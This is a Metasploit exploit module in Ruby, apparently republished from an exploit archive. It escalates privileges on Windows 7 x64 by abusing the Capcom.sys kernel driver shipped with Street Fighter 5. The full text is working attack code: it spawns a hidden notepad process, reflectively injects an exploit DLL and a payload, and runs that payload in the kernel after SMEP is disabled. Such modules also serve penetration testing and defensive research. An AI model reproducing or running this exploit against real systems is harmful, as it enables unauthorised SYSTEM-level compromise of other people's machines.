Street Fighter 5 – ‘Capcom.sys’ Kernel Execution (Metasploit)
## # This module requires Metasploit: http://metasploit.com/download # Current source: https://github.com/rapid7/metasploit-framework ## require 'msf/core' require 'msf/core/post/windows/reflective_dll_injection' require 'rex' class MetasploitModule < Msf::Exploit::Local Rank = NormalRanking include Msf::Post::File include Msf::Post::Windows::Priv include Msf::Post::Windows::Process include Msf::Post::Windows::ReflectiveDLLInjection def initialize(info={}) super(update_info(info, { 'Name' => 'Windows Capcom.sys Kernel Execution Exploit (x64 only)', 'Description' => %q{ This module abuses the Capcom.sys kernel driver's function that allows for an arbitrary function to be executed in the kernel from user land. This function purposely disables SMEP prior to invoking a function given by the caller. This has been tested on Windows 7 x64. }, 'License' => MSF_LICENSE, 'Author' => [ 'TheWack0lian', # Issue discovery 'OJ Reeves' # exploit and msf module ], 'Arch' => [ ARCH_X86_64], 'Platform' => 'win', 'SessionTypes' => [ 'meterpreter' ], 'DefaultOptions' => { 'EXITFUNC' => 'thread', }, 'Targets' => [ [ 'Windows x64 (<= 8)', { 'Arch' => ARCH_X86_64 } ] ], 'Payload' => { 'Space' => 4096, 'DisableNops' => true }, 'References' => [ ['URL', 'https://twitter.com/TheWack0lian/status/779397840762245124'] ], 'DisclosureDate' => 'Jan 01 1999', # non-vuln exploit date 'DefaultTarget' => 0 })) end def check if sysinfo['OS'] !~ /windows 7/i return Exploit::CheckCode::Unknown end if sysinfo['Architecture'] =~ /(wow|x)64/i arch = ARCH_X86_64 else return Exploit::CheckCode::Safe end file_path = expand_path('%windir%') << '\\system32\\capcom.sys' return Exploit::CheckCode::Safe unless file_exist?(file_path) # TODO: check for the capcom.sys driver and its version. return Exploit::CheckCode::Appears end def exploit if is_system? fail_with(Failure::None, 'Session is already elevated') end check_result = check if check_result == Exploit::CheckCode::Safe || check_result == Exploit::CheckCode::Unknown fail_with(Failure::NotVulnerable, 'Exploit not available on this system.') end if sysinfo['Architecture'] =~ /wow64/i fail_with(Failure::NoTarget, 'Running against WOW64 is not supported, please get an x64 session') elsif sysinfo['Architecture'] =~ /x64/ && target.arch.first == ARCH_X86 fail_with(Failure::NoTarget, 'Session host is x64, but the target is specified as x86') end print_status('Launching notepad to host the exploit...') notepad_process = client.sys.process.execute('notepad.exe', nil, {'Hidden' => true}) begin process = client.sys.process.open(notepad_process.pid, PROCESS_ALL_ACCESS) print_good("Process #{process.pid} launched.") rescue Rex::Post::Meterpreter::RequestError # Reader Sandbox won't allow to create a new process: # stdapi_sys_process_execute: Operation failed: Access is denied. print_status('Operation failed. Trying to elevate the current process...') process = client.sys.process.open end print_status("Reflectively injecting the exploit DLL into #{process.pid}...") library_path = ::File.join(Msf::Config.data_directory, 'exploits', 'capcom_sys_exec', 'capcom_sys_exec.x64.dll') library_path = ::File.expand_path(library_path) print_status("Injecting exploit into #{process.pid}...") exploit_mem, offset = inject_dll_into_process(process, library_path) print_status("Exploit injected. Injecting payload into #{process.pid}...") payload_mem = inject_into_process(process, payload.encoded) # invoke the exploit, passing in the address of the payload that # we want invoked on successful exploitation. print_status('Payload injected. Executing exploit...') process.thread.create(exploit_mem + offset, payload_mem) print_good('Exploit finished, wait for (hopefully privileged) payload execution to complete.') end end |